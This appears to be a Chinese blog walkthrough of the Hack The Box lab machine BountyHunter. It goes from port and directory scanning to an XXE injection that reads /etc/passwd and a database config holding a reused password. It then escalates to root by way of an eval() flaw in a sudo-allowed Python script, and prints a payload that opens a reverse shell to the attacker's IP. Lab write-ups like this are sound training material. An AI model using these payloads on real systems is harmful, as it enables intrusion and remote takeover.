BountyHunter

HTB-Machines-BountyHunter


在这里插入图片描述

0x01 信息收集

1.1 端口嗅探

​ 使用Nmap对10.129.251.221进行端口嗅探,服务器开放80端口和22端口,常规思路①爆破22端口②对80端口的页面进行目录扫描。
在这里插入图片描述

1.2 目录扫描

​ 使用Dirsearch对http://10.129.251.221/进行目录扫描,并逐一访问页面,在有人机交互的功能点进行尝试交互,同时使用Burpsuite抓取流量,以便之后分析。

在这里插入图片描述

http://10.129.251.221/

在这里插入图片描述

http://10.129.251.221/log_submit.php

在这里插入图片描述

http://10.129.251.221/index.php/login/

在这里插入图片描述

http://10.129.251.221/resources/

在这里插入图片描述

http://10.129.251.221/db.php

在这里插入图片描述

1.3 端口爆破

​ 好久都没爆破完,且根据以往经验,弱口令字典对于HTB几乎毫无意义。

在这里插入图片描述

​ 信息收集阶段总结:SSH爆破基本放弃,只能在众多的链接中查找突破口,重要考虑对象为首页的concact(http://10.129.251.221/)、Bounty Report System - Beta(http://10.129.251.221/log_submit.php)、资源代码(http://10.129.251.221/resources/)。

0x02 打点立足

2.1 分析数据包

分析Burpsuite抓取的数据包,仅存在一条交互数据,且数据加密,选取加密字段,显示为XML格式。
在这里插入图片描述

2.2 XML实体注入

2.2.1 猜测存在XML模板注入,尝试进行XML实体注入读取文件,更改XML信息尝试获取/etc/passwd

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.2.2 更改XML信息尝试获取http://10.129.251.221/db.php数据库信息,根据使用Apache服务器和db.php处于根目录,猜测位置为/var/www/html/db.php,这里直接用php协议未能返回信息成功,使用php://filter/convert.base64-encode/resource=返回信息成功。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

解密信息如下:

dbserver = "localhost";
dbname = "bounty";
dbusername = "admin";
dbpassword = "m19RoAU0hP41A1sTsq6K";
testuser = "test";

2.3 获取user.txt

​ 虽然拿到了数据库信息,但是服务器未开放3306等数据库相关接口,尝试使用数据库密码登录SSH,分析2.2.1中获取到的用户列表,发现仅存在root、development两个账户,分别尝试登录,发现development账户登录成功。

在这里插入图片描述

​ 在development用户目录下,获取到user.txt。

0x03 权限提升

使用sudo -l命令查看,发现存在ticketValidator.py文件可以sudo免密执行。

在这里插入图片描述

分析ticketValidator.py文件

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()  #加载的文件需要为md格式

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):  #第一行需要以"# Skytrain Inc"开头
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):	#第二行需要以"## Ticket to"开头
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):	#查找以"__Ticket Code:__"开头的行数
            code_line = i+1
            continue

        if code_line and i == code_1ine:	
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]  #需要"**"开头,和"+"之间有字段A
            if int(ticketCode) % 7 == 4:	#字段A转换为10进制
                validationNumber = eval(x.replace("**", ""))	#执行语句(eval() 函数用来执行一个字符串表达式,并返回表达式的值。)
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

总而言之就是需要

python3.8 /opt/skytrain_inc/ticketValidator.py  xx.md

其中md文件中需满足:

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**704+123111>=__import__('subprocess').call("echo 'sh -i >& /dev/tcp/10.10.14.5/1111 0>&1'>x && bash x && rm -rf x",shell=True)

创建1.md文件

在这里插入图片描述

使用sudo执行ticketValidator.py文件

在这里插入图片描述

监听端获取root权限shell

在这里插入图片描述

获取root.txt

在这里插入图片描述

0x04 参考链接

4.1 XXE漏洞详解(XML外部实体注入)(https://blog.csdn.net/qq_36119192/article/details/84993356)

4.2 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用(https://www.freebuf.com/vuls/211822.html)

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值